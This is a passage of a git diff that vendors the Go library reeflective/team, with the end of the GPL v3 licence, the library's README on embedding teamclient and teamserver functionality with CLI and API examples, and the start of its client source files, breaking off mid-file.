the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/vendor/github.com/reeflective/team/README.md b/vendor/github.com/reeflective/team/README.md new file mode 100644 index 0000000000..c3c5fcb160 --- /dev/null +++ b/vendor/github.com/reeflective/team/README.md @@ -0,0 +1,351 @@ + +
+

Team

+ +

Transform any Go program into a client of itself, remotely or locally.

+

Use, manage teamservers and clients with code, with their CLI, or both.

+
+ + + + + + +

+ + Github Actions (workflows) + + + + Go module version + + + + GoDoc reference + + + + Go Report Card + + + + codecov + + + + License: BSD-3 + +

+ + +----- +## Summary + +The client-server paradigm is an ubiquitous concept in computer science. Equally large and common is +the problem of building software that _collaborates_ easily with other peer programs. Although +writing collaborative software seems to be the daily task of many engineers around the world, +succeedingly and easily doing so in big programs as well as in smaller ones is not more easily done +than said. Difficulty still increases -and keeping in mind that humans use software and not the +inverse- when programs must enhance the capacity of humans to collaborate while not restricting the +number of ways they can do so, for small tasks as well as for complex ones. + +The `reeflective/team` library provides a small toolset for arbitrary programs (and especially those +controlled in more or less interactive ways) to collaborate together by acting as clients and +servers of each others, as part of a team. Teams being made of players (humans _and_ their tools), +the library focuses on offering a toolset for "human teaming": that is, treating software tools that +are either _teamclients_ or _teamservers_ of others, within a defined -generally restricted- team of +users, which shall generally be strictly and securely authenticated. + +The project originates from the refactoring of a security-oriented tool that used this approach to +clearly segregate client and server binary code (the former's not needing most of the latter's). +Besides, the large exposure of the said-tool to the CLI prompted the author of the +`reeflective/team` library to rethink how the notion of "collaborative programs" could be approached +and explored from different viewpoints: distinguishing between the tools' developers, and their +users. After having to reuse this core code for other projects, the idea appeared to extract the +relevant parts and to restructure and repackage them behind coherent interfaces (API and CLI). + + +----- +## Components & Terms + +The result consists in 2 Go packages (`client` and `server`) for programs needing to act as: +- A **Team client**: a program, or one of its components, that needs to rely on a "remote" program peer + to serve some functionality that is available to a team of users' tools. The program acting as a + _teamclient_ may do so for things as simple as sending a message to the team, or as complicated as a + compiler backend with which multiple client programs can send data to process and build. +- A **Team server**: The remote, server-side counterpart of the software teamclient. Again, the + teamserver can be doing anything, from simply notifying users' teamclient connections to all the team + all the way to handling very complex and resource-hungry tasks that can only be ran on a server host. + +Throughout this library and its documentation, various words are repeatedly employed: +- _teamclient_ refers to either the client-specific toolset provided by this library + (`team/client.Client` core type) or the software making use of this teamclient code. +- _teamserver_ refers to either the server-specific toolset provided to make a program serve its + functionality remotely, or to the tools embedding this code in order to do so. +- _team tool/s_ might be used to refer to programs using either or all of the library components at + large. + +----- +## Principles, Constraints & Features + +The library rests on several principles, constraints and ideas to fulfill its intended purpose: +- The library's sole aim is to **make most programs able to collaborate together** under the + paradigm of team clients and team servers, and to do so while ensuring performance, coherence, + ease of use and security of all processes and workflows involved. This, under the _separate + viewpoints_ of tool development, enhancement and usage. +- Ensure a **working-by-default toolset**, assuming that the time spent on any tool's configuration + is inversely proportional to its usage. Emphasis on this aspect should apply equally well to team + tools' users and developers. +- Ensure the **full, secure and reliable authentication of all team clients and servers' + interactions**, by using certificate-based communication encryption and user authentication, _aka_ + "zero-trust" model. Related and equally important, ensure the various team toolset interfaces + provide for easy and secure usage of their host tools. +- **Accomodate for the needs of developers to use more specific components**, at times or at points, + while not hampering on the working-by-default aspects of the team client/server toolset. Examples + include replacing parts or all of the transport, RPC, loggers, database and filesystem + backends. +- To that effect, the library offers **different interfaces to its functionality**: an API (Go code) + provides developers a working-by-default, simple and powerful way to instruct their software how + to collaborate with peers, and a CLI, for users to operate their team tools, manage their related + team configurations with ease, with a featured command-line tree to embed anywhere. +- Ensure that team client/server functionality can be **easily integrated in automated workflows**: + this is done by offering clear code/execution paths and behaviors, for both users and developers, + and by providing commands and functions to ease deployment of said tools. + +----- +## CLI (Users) + +The following extracts assume a program binary named `teamserver`, which is simply the root command +of the server-side team code. In this case therefore, the binary program only purpose its to be a +teamserver, with no application-specific logic, (and is therefore quite useless on its own): +``` +$ teamserver +Manage the application server-side teamserver and users + +Usage: + teamserver [command] + +teamserver control + client Client-only teamserver commands (import configs, show users, etc) + close Close a listener and remove it from persistent ones if it's one + daemon Start the teamserver in daemon mode (blocking) + listen Start a teamserver listener (non-blocking) + status Show the status of the teamserver (listeners, configurations, health...) + systemd Print a systemd unit file for the application teamserver, with options + +user management + delete Remove a user from the teamserver, and revoke all its current tokens + export Export a Certificate Authority file containing the teamserver users + import Import a certificate Authority file containing teamserver users + user Create a user for this teamserver and generate its client configuration file +``` + +In this example, this program comes with a client-only binary counterpart, `teamclient`. The latter +does not include any team server-specific code, and has therefore a much smaller command set: +``` +$ teamclient +Client-only teamserver commands (import configs, show users, etc) + +Usage: + teamclient [command] + +Available Commands: + import Import a teamserver client configuration file for teamserver + users Display a table of teamserver users and their status + version Print teamserver client version +``` + +With these example binaries at hand, below are some examples of workflows. +Starting with the `teamserver` binary (which might be under access/control of a team admin): +``` bash +# 1 - Generate a user for a local teamserver, and import users from a file. +teamserver user --name Michael --host localhost +teamserver import ~/.other_app/teamserver/certs/other_app_user-ca-cert.teamserver.pem + +# 2 - Start some teamserver listeners, then start the teamserver daemon (blocking). +# Use the application-defined default port in the first call, and instruct the server +# to start the listeners automatically when used in daemon mode with --persistent. +teamserver listen --host localhost --persistent +teamserver listen --host 172.10.0.10 --port 32333 --persistent +teamserver status # Prints the saved listeners, configured loggers, databases, etc. +teamserver daemon --host localhost --port 31337 # Blocking: serves all persistent listeners and a main one at localhost:31337 + +# 3 - Export and enable a systemd service configuration for the teamserver. +teamserver systemd # Use default host, port and listener stacks. +teamserver systemd --host localhost --binpath /path/to/teamserver # Specify binary path. +teamserver systemd --user --save ~/teamserver.service # Print to file instead of stdout. + +# 4 - Import the "remote" administrator configuration for (1), and use it. +teamserver client import ~/Michael_localhost.teamclient.cfg +teamserver client version # Print the client and the server version information. +teamserver client users # Print all users registered to the teamserver and their status. + +# 5 - Quality of life +teamserver _carapace # Source detailed the completion engine for the teamserver. +``` + +Continuing the `teamclient` binary (which is available to all users' tool in the team): +```bash +# Example 1 - Import a remote teamserver configuration file given by a team administrator. +teamclient import ~/Michael_localhost.teamclient.cfg + +# Example 2 - Query the server for its information. +teamclient users +teamclient version +``` + +----- +## API (Developers) + +The teamclient and teamserver APIs are designed with several things in mind as well: +- While users are free to use their tools teamclients/servers within the bounds of the provided + command-line interface tree (`teamserver` and `teamclient` commands), the developers using the + library have access to a slightly larger API, especially with regards to "selection strategies" + (grossly, the way tools' teamclients choose their remote teamservers before connecting to them). + This is equivalent of saying that tools developers should have identified 70% of all different + scenarios/valid operation mode for their tools, and program their teamclients accounting for this, + but let the users decide of the remaining 30% when using the tools teamclient/server CLI commands. +- The library makes it easy to embed a teamclient or a teamserver in existing codebases, or easy to + include it in the ones who will need it in the future. In any case, importing and using a default + teamclient/teamserver should fit into a couple of function calls at most. +- To provide a documented code base, with a concise naming and programming model which allows equally + well to use default teamclient backends or to partially/fully reimplement different layers. + +Below is the simplest, shortest example of the above's `teamserver` binary `main()` function: +```go +// Generate a teamserver, without any specific transport/RPC backend. +// Such backends are only needed when the teamserver serves remote clients. +teamserver, err := server.New("teamserver") + +// Generate a tree of server-side commands: this tree also has client-only +// commands as a subcommand "client" of the "teamserver" command root here. +serverCmds := commands.Generate(teamserver, teamserver.Self()) + +// Run the teamserver CLI. +serverCmds.Execute() +``` + +Another slightly more complex example, involving a gRPC transport/RPC backend: +```go +// The examples directory has a default teamserver listener backend. +gTeamserver := grpc.NewListener() + +// Create a new teamserver, register the gRPC backend with it. +// All gRPC teamclients will be able to connect to our teamserver. +teamserver, err := server.New("teamserver", server.WithListener(gTeamserver)) + +// Since our teamserver offers its functionality through a gRPC layer, +// our teamclients must have the corresponding client-side RPC client backend. +// Create an in-memory gRPC teamclient backend for the server to serve itself. +gTeamclient := grpc.NewClientFrom(gTeamserver) + +// Create a new teamclient, registering the gRPC backend to it. +teamclient := teamserver.Self(client.WithDialer(gTeamclient)) + +// Generate the commands for the teamserver. +serverCmds := commands.Generate(teamserver, teamclient) + +// Run any of the commands. +serverCmds.Execute() +``` + +Some additional and preliminary/example notes about the codebase: +- All errors returned by the API are always logged before return (with configured log behavior). +- Interactions with the filesystem restrained until they need to happen. +- The default database is a pure Go file-based sqlite db, which can be configured to run in memory. +- Unless absolutely needed or specified otherwise, return all critical errors instead of log + fatal/panicking (exception made of the certificate infrastructure which absolutely needs to work + for security reasons). +- Exception made of the `teamserver daemon` command related `server.ServeDaemon` function, all API + functions and interface methods are non-blocking. Mentions of this are found throughout the + code documentation when needed. +- Loggers offered by the teamclient/server cores are never nil, and will log to both stdout (above + warning level) and to default files (above info level) if no custom logger is passed to them. + If such a custom logger is given, team clients/servers won't log to stdout or their default files. + +Please see the [example](https://github.com/reeflective/team/tree/main/example) directory for all client/server entrypoint examples. + +----- +## Documentation + +- Go code documentation is available at the [Godoc website](https://pkg.go.dev/github.com/reeflective/team). +- Client and server documentation can be found in the [directories section](https://pkg.go.dev/github.com/reeflective/team#section-directories) of the Go documentation. +- The `example/` subdirectories also include documentation for their own code, and should provide +a good introduction to this library usage. + +----- +## Differences with the Hashicorp Go plugin system + +At first glance, different and not much related to our current topic is the equally large problem of +dynamic code loading and execution for arbitrary programs. In the spectrum of major programming +languages, various approaches have been taken to tackle the dynamic linking, loading and execution +problem, with interpreted languages offering the most common solutioning approach to this. + +The Go language (and many other compiled languages that do not encourage dynamic linking for that +matter) has to deal with the problem through other means, the first of which simply being the +adoption of different architectural designs in the first place (eg. "microservices"). Another path +has been the "plugin system" for emulating the dynamic workflows of interpreted languages, of which +the most widely used attempt being the [Hashicorp plugin +system](https://github.com/hashicorp/go-plugin), which entirely rests on an (g)RPC backend. + +Consequently, differences and similarities can be resumed as follows: +- The **Hashicorp plugins only support "remote" plugins** in that each plugin must be a different + binary. Although those plugins seem to be executed "in-memory", they are not. On the contrary, + the `reeflective/team` clients and servers can (should, and will) be used both in memory and + remotely (here remotely means as a distinct subprocess: actual network location is irrelevant). +- The purpose of the `reeflective/team` library is **not** to emulate dynamic code execution behavior. + Rather, its intent is to make programs that should or might be better used as servers to several + clients to act as such easily and securely in many different scenarios. +- The **Hashicorp plugins are by essence restrained to an API problem**, and while the `team` library + is equally (but not mandatorily or exclusively) about interactive usage of arbitrary programs. +- **The Hashicorp plugin relies mandatorily (since it's built on) a gRPC transport backend**. While + gRPC is a very sensible choice for many reasons (and is therefore used for the default example + backend in `example/transports/`), the `team` library does not force library users to use a given + transport/RPC backend, nor even to use one. Again, this would be beyond the library scope, but + what is in scope is the capacity of this library to interface with or use different transports. +- Finally, the Hashicorp plugins are not aware of any concept of users as they are considered by + the team library, although both use certificate-based connections. However, `team` promotes and + makes easy to use mutually authenticated (Mutual TLS) connections (see the default gRPC example + backend). Related to this, teamservers integrate loggers and a database to store working data. + +----- +## Status + +The Command-Line and Application-Programming Interfaces of this library are unlikely to change +much in the future, and should be considered mostly stable. These might grow a little bit, but +will not shrink, as they been already designed to be as minimal as they could be. + +In particular, `client.Options` and `server.Options` APIs might grow, so that new features/behaviors +can be integrated without the need for the teamclients and teamservers types APIs to change. + +The section **Possible Enhancements** below includes 9 points, which should grossly be equal +to 9 minor releases (`0.1.0`, `0.2.0`, `0.3.0`, etc...), ending up in `v1.0.0`. + +- Please open a PR or an issue if you face any bug, it will be promptly resolved. +- New features and/or PRs are welcome if they are likely to be useful to most users. + +----- +## Possible enhancements + +The list below is not an indication on the roadmap of this repository, but should be viewed as +things the author of this library would be very glad to merge contributions for, or get ideas. +This teamserver library aims to remain small, with a precise behavior and role. +Overall, contributions and ideas should revolve around strenghening its core/transport code +or around enhancing its interoperability with as much Go code/programs as possible. + +- [ ] Use viper for configs. +- [ ] Use afero filesystem. +- [ ] Add support for encrypted sqlite by default. +- [ ] Encrypt in-memory channels, or add option for it. +- [ ] Simpler/different listener/dialer backend interfaces, if it appears needed. +- [ ] Abstract away the client-side authentication, for pluggable auth/credential models. +- [ ] Replace logrus entirely and restructure behind a single package used by both client/server. +- [ ] Review/refine/strenghen the dialer/listener init/close/start process, if it appears needed. +- [ ] `teamclient update` downloads latest version of the server binary + method to `team.Client` for it. + diff --git a/vendor/github.com/reeflective/team/client/client.go b/vendor/github.com/reeflective/team/client/client.go new file mode 100644 index 0000000000..44be641d80 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/client.go @@ -0,0 +1,300 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path/filepath" + "runtime" + "sync" + + "github.com/reeflective/team" + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/version" + "github.com/sirupsen/logrus" +) + +// Client is the core driver of an application teamclient. +// It provides the core tools needed by any application/program +// to be the client of an local/remote/in-memory teamserver. +// +// This client object is by default not connected to any teamserver, +// and has therefore no way of fulfilling its core duties, on purpose. +// The client also DOES NOT include any teamserver-side code. +// +// This teamclient core job is to: +// - Fetch, configure and use teamserver endpoint configurations. +// - Drive the process of connecting to & disconnecting from a server. +// - Query a teamserver for its version and users information. +// +// Additionally, this client offers: +// - Pre-configured loggers for all client-side related events. +// - Various options to configure its backends and behaviors. +// - A builtin, abstracted and app-specific filesystem (in memory or on disk). +// +// Various combinations of teamclient/teamserver usage are possible. +// Please see the Go module example/ directory for a list of them. +type Client struct { + name string // Name of the teamclient/teamserver application. + homeDir string // APP_ROOT_DIR var, evaluated once when creating the server. + opts *opts // All configurable things for the teamclient. + fileLogger *logrus.Logger // By default, hooked to also provide stdout logging. + stdoutLogger *logrus.Logger // Fallback logger. + fs *assets.FS // Embedded or on-disk application filesystem. + mutex *sync.RWMutex // Sync access. + initOpts sync.Once // Some options can only be set once when creating the server. + + dialer Dialer // Connection backend for the teamclient. + connect *sync.Once // A client can only connect once per run. + + // Client is the implementation of the core teamclient functionality, + // which is to query a server version and its current users. + // This type is either implementated by a teamserver when the client + // is in-memory, or by a user-defined type which is generally a RPC. + client team.Client +} + +// Dialer represents a type using a teamclient core (and its configured teamserver +// remote) to setup, initiate and use a connection to this remote teamserver. +// +// The type parameter `clientConn` of this interface is a purely syntactic sugar +// to indicate that any dialer should/may return a user-defined but specific object +// from its Dial() method. Library users can register hooks to the teamclient.Client +// using this dialer, and this clientConn will be provided to these hooks. +// +// Examples of what this clientConn can be: +// - The clientConn is a specific, but non-idiomatic RPC client (ex: a *grpc.ClientConn). +// - A simple net.Conn over which anything can be done further. +// - Nothing: a dialer might not need to use or even create a client connection. +type Dialer interface { + // Init is used by any dialer to query the teamclient driving it about: + // - The remote teamserver address and transport credentials + // - The user registered in this remote teamserver configuration. + // - To make use of client-side loggers, filesystem and other utilities. + Init(c *Client) error + + // Dial should connect to the endpoint available in any + // of the client remote teamserver configurations. + Dial() error + + // Close should close the connection or any related component. + Close() error +} + +// New is the required constructor of a new application teamclient. +// Parameters: +// - The name of the application using the teamclient. +// - Variadic options (...Options) which are applied at creation time. +// - A type implementing the team.Client interface. +// +// Depending on constraints and use cases, the client uses different +// backends and/or RPC implementations providing this functionality: +// - When used in-memory and as a client of teamserver. +// - When being provided a specific dialer/client/RPC backend. +// +// The teamclient will only perform a few init things before being returned: +// - Setup its filesystem, either on-disk (default behavior) or in-memory. +// - Initialize loggers and the files they use, if any. +// +// This may return an error if the teamclient is unable to work with the provided +// options (or lack thereof), which may happen if the teamclient cannot use and write +// to its directories and log files. No client is returned if the error is not nil. +func New(app string, client team.Client, options ...Options) (*Client, error) { + teamclient := &Client{ + name: app, + opts: defaultOpts(), + client: client, + connect: &sync.Once{}, + mutex: &sync.RWMutex{}, + fs: &assets.FS{}, + } + + teamclient.apply(options...) + + // Filesystem (in-memory or on disk) + user, _ := user.Current() + root := filepath.Join(user.HomeDir, "."+teamclient.name) + teamclient.fs = assets.NewFileSystem(root, teamclient.opts.inMemory) + + // Logging (if allowed) + if err := teamclient.initLogging(); err != nil { + return nil, err + } + + return teamclient, nil +} + +// Connect uses the default client configurations to connect to the teamserver. +// +// This call might be blocking and expect user input: if multiple server +// configurations are found in the application directory, the application +// will prompt the user to choose one of them. +// If the teamclient was created WithConfig() option, or if passed in this +// call, user input is guaranteed NOT to be needed. +// +// It only connects the teamclient if it has an available dialer. +// If none is available, this function returns no error, as it is +// possible that this client has a teamclient implementation ready. +func (tc *Client) Connect(options ...Options) (err error) { + tc.apply(options...) + + // Don't connect if we don't have the connector. + if tc.dialer == nil { + return nil + } + + tc.connect.Do(func() { + // If we don't have a provided configuration, + // load one from disk, otherwise do nothing. + err = tc.initConfig() + if err != nil { + err = tc.errorf("%w: %w", ErrConfig, err) + return + } + + // Initialize the dialer with our client. + err = tc.dialer.Init(tc) + if err != nil { + err = tc.errorf("%w: %w", ErrConfig, err) + return + } + + err = tc.dialer.Dial() + if err != nil { + err = tc.errorf("%w: %w", ErrClient, err) + return + } + }) + + return err +} + +// Disconnect disconnects the client from the server, closing the connection +// and the client log file. Any errors are logged to this file and returned. +// If the teamclient has been passed the WithNoDisconnect() option, it won't +// disconnect. +func (tc *Client) Disconnect() error { + if tc.opts.console { + return nil + } + + // The client can reconnect.. + defer func() { + tc.connect = &sync.Once{} + }() + + if tc.dialer == nil { + return nil + } + + err := tc.dialer.Close() + if err != nil { + tc.log().Error(err) + } + + return err +} + +// Users returns a list of all users registered to the application server. +// If the teamclient has no backend, it returns an ErrNoTeamclient error. +// If the backend returns an error, the latter is returned as is. +func (tc *Client) Users() (users []team.User, err error) { + if tc.client == nil { + return nil, ErrNoTeamclient + } + + res, err := tc.client.Users() + if err != nil && len(res) == 0 { + return nil, err + } + + return res, nil +} + +// VersionClient returns the version information of the client, and thus +// does not require the teamclient to be connected to a teamserver. +// This function satisfies the VersionClient() function of the team.Client interface, +// which means that library users are free to reimplement it however they wish. +func (tc *Client) VersionClient() (ver team.Version, err error) { + if tc.client != nil { + return tc.client.VersionClient() + } + + semVer := version.Semantic() + compiled, _ := version.Compiled() + + var major, minor, patch int32 + + if len(semVer) == 3 { + major = int32(semVer[0]) + minor = int32(semVer[1]) + patch = int32(semVer[2]) + } + + return team.Version{ + Major: major, + Minor: minor, + Patch: patch, + Commit: version.GitCommit(), + Dirty: version.GitDirty(), + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// VersionServer returns the version information of the server to which +// the client is connected. +// If the teamclient has no backend, it returns an ErrNoTeamclient error. +// If the backend returns an error, the latter is returned as is. +func (tc *Client) VersionServer() (ver team.Version, err error) { + if tc.client == nil { + return ver, ErrNoTeamclient + } + + version, err := tc.client.VersionServer() + if err != nil { + return + } + + return version, nil +} + +// Name returns the name of the client application. +func (tc *Client) Name() string { + return tc.name +} + +// Filesystem returns an abstract filesystem used by the teamclient. +// This filesystem can be either of two things: +// - By default, the on-disk filesystem, without any specific bounds. +// - If the teamclient was created with the InMemory() option, a full +// in-memory filesystem (with root `.app/`). +// +// Use cases for this filesystem might include: +// - The wish to have a fully abstracted filesystem to work for testing +// - Ensuring that the filesystem code in your application remains the +// same regardless of the underlying, actual filesystem. +// +// The type returned is currently an internal type because it wraps some +// os.Filesystem methods for working more transparently: this may change +// in the future if the Go stdlib offers write support to its new io/fs.FS. +func (tc *Client) Filesystem() *assets.FS { + return tc.fs +} diff --git a/vendor/github.com/reeflective/team/client/commands/commands.go b/vendor/github.com/reeflective/team/client/commands/commands.go new file mode 100644 index 0000000000..9f714bd1f0 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/commands.go @@ -0,0 +1,270 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io/fs" + "os" + "path/filepath" + "strings" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" + "github.com/rsteube/carapace" + "github.com/rsteube/carapace/pkg/style" + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// Generate returns a command tree to embed in client applications connecting +// to a teamserver. It requires only the client to use its functions. +// +// All commands of the tree include an automatic call to client.Connect() to make +// sure they can reach the server for the stuff they need. Thus no pre-runners are +// bound to them for this purpose, and users of this command tree are free to add any. +// +// This tree is only safe to embed within closed-loop applications provided that the +// client *Client was created with WithNoDisconnect(), so that commands can reuse +// their connections more than once before closing. +func Generate(cli *client.Client) *cobra.Command { + clientCmds := clientCommands(cli) + return clientCmds +} + +// PreRun returns a cobra command runner which connects the client to its teamserver. +// If the client is connected, nothing happens and its current connection reused. +// +// Feel free to use this function as a model for your own teamclient pre-runners. +func PreRun(teamclient *client.Client, opts ...client.Options) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + teamclient.SetLogWriter(cmd.OutOrStdout(), cmd.ErrOrStderr()) + + // Ensure we are connected or do it. + return teamclient.Connect(opts...) + } +} + +// PreRunNoDisconnect is a pre-runner that will connect the teamclient with the +// client.WithNoDisconnect() option, so that after each execution, the client +// connection is kept open. This pre-runner is thus useful for console apps. +// +// Feel free to use this function as a model for your own teamclient pre-runners. +func PreRunNoDisconnect(teamclient *client.Client, opts ...client.Options) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + teamclient.SetLogWriter(cmd.OutOrStdout(), cmd.ErrOrStderr()) + + opts = append(opts, client.WithNoDisconnect()) + + // The NoDisconnect will prevent teamclient.Disconnect() to close the conn. + return teamclient.Connect(opts...) + } +} + +// PostRun is a cobra command runner that simply calls client.Disconnect() to close +// the client connection from its teamserver. If the client/commands was configured +// with WithNoDisconnect, this pre-runner will do nothing. +func PostRun(client *client.Client) command.CobraRunnerE { + return func(cmd *cobra.Command, _ []string) error { + return client.Disconnect() + } +} + +func clientCommands(cli *client.Client) *cobra.Command { + teamCmd := &cobra.Command{ + Use: "teamclient", + Short: "Client-only teamserver commands (import configs, show users, etc)", + SilenceUsage: true, + } + + teamFlags := pflag.NewFlagSet("teamserver", pflag.ContinueOnError) + teamFlags.CountP("verbosity", "v", "Counter flag (-vvv) to increase log verbosity on stdout (1:panic -> 7:debug)") + teamCmd.PersistentFlags().AddFlagSet(teamFlags) + + versionCmd := &cobra.Command{ + Use: "version", + Short: "Print teamserver client version", + RunE: versionCmd(cli), + } + + teamCmd.AddCommand(versionCmd) + + importCmd := &cobra.Command{ + Use: "import", + Short: fmt.Sprintf("Import a teamserver client configuration file for %s", cli.Name()), + Run: importCmd(cli), + ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { + return []string{}, cobra.ShellCompDirectiveDefault + }, + } + + iFlags := pflag.NewFlagSet("import", pflag.ContinueOnError) + iFlags.BoolP("default", "d", false, "Set this config as the default one, if no default config exists already.") + importCmd.Flags().AddFlagSet(iFlags) + + iComps := carapace.Gen(importCmd) + iComps.PositionalCompletion( + carapace.Batch( + carapace.ActionCallback(ConfigsCompleter(cli, "teamclient/configs", ".teamclient.cfg", "other teamserver apps", true)), + carapace.ActionFiles().Tag("server configuration").StyleF(getConfigStyle(".teamclient.cfg")), + ).ToA(), + ) + + teamCmd.AddCommand(importCmd) + + usersCmd := &cobra.Command{ + Use: "users", + Short: "Display a table of 